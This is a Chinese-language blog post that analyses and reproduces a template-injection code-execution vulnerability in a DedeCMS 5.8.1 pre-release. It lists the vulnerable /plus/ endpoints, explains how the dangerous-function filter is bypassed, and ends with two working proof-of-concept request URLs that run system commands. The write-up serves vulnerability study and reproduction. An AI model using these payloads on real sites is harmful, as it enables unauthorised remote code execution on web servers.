DeDeCMS 5.8.1代码执行分析复现

前言

最近国外的安全研究人员发了一个dedecms的漏洞

当然这并不是dedecms的发行版本,属于内测版本

源码地址

github地址

原作者博客

作者原文

这里只针对原文中的代码执行分析,注入方面不做研究

代码分析

对比源码不难发现,相对于5.7版本,5.8更多的采用了模板解析的形式

以下是5.8

image-20211009175253846

以下是5.7,可以看到5.7中是直接echo输出的

image-20211009175355581

故这里也可以去找解析模板的地方,只要参数可控,即可产生模板解析漏洞

还是有一些的在一定条件下,可能存在前台可用的情况,之后会做分析

此篇不在赘述

继续跟进showmsg调用的loadString方法

image-20211009175717518

继续跟进ParseTemplate方法,这个方法主要就是对加载的字符串的解析

如果是常规的<?php echo 1;?>,的形式则会跳过

真正需要解析的是类似于{@include 1.txt}的形式

image-20211009175919939

接下来需要调用display方法了

image-20211009180215859

这里主要是看调用的writeCache方法

这里会把result写入缓存,猜都可以猜到是刚才解析的字符串

image-20211009180320582

但还是跟进去看看

没有错,是sourceString

image-20211009180351768

当然这里还存在一个CheckDisabledFunctions方法,这是一个对危险函数的过滤

image-20211009181345323

绕过方式,也有不少

比如原文作者用到的<?php "system"('dir');?>

然后再进行文件包含,产生了漏洞

接下来就是看,怎么调用showmsg方法了

可以看到,showmsg中有两个参数是带入了被解析的字符串的

image-20211009180708925

其中的msg都是不可控的,那么问题处在了gourl上面

有两种可控的方式

  • 直接传入的参数就可控,且未传入onlymsg参数
  • 传入的gourl参数为-1

image-20211009181652596

参数为-1的情况

  • /plus/flink.php?dopost=save

  • /plus/users_products.php?oid=1337

  • /plus/download.php?aid=1337

  • /plus/showphoto.php?aid=1337

  • /plus/users-do.php?fmdo=sendMail

  • /plus/posttocar.php?id=1337

  • /plus/vote.php?dopost=view

  • /plus/carbuyaction.php?do=clickout

  • /plus/recommend.php

随便找一处

image-20211009182406535

或者用下面的拼接的调用

image-20211009182545051

其实这里应该可以直接拼接,因为server变量没走全局过滤

image-20211009182828320

gourl直接可控的情况

  • /plus/recommend.php
  • /plus/users_do.php
  • /plus/vote.php
  • /plus/edit.inc.php

/plus/recommend.php为例

1
/plus/recommend.php?action=send&aid=1&email=admin@qq.com&arcurl=<?php%20$a=$b.$c;$a($d);die();/*&b=sys&c=tem&d=dir

image-20211009184923680

或者直接做php标签的模板解析

image-20211009194009275

poc

1
/plus/recommend.php?action=send&aid=1&email=admin@qq.com&arcurl={dede:php}%0a$a=$b.$c;$a($d);die();/*%0a{/dede:php}&b=sys&c=tem&d=dir

image-20211009194042455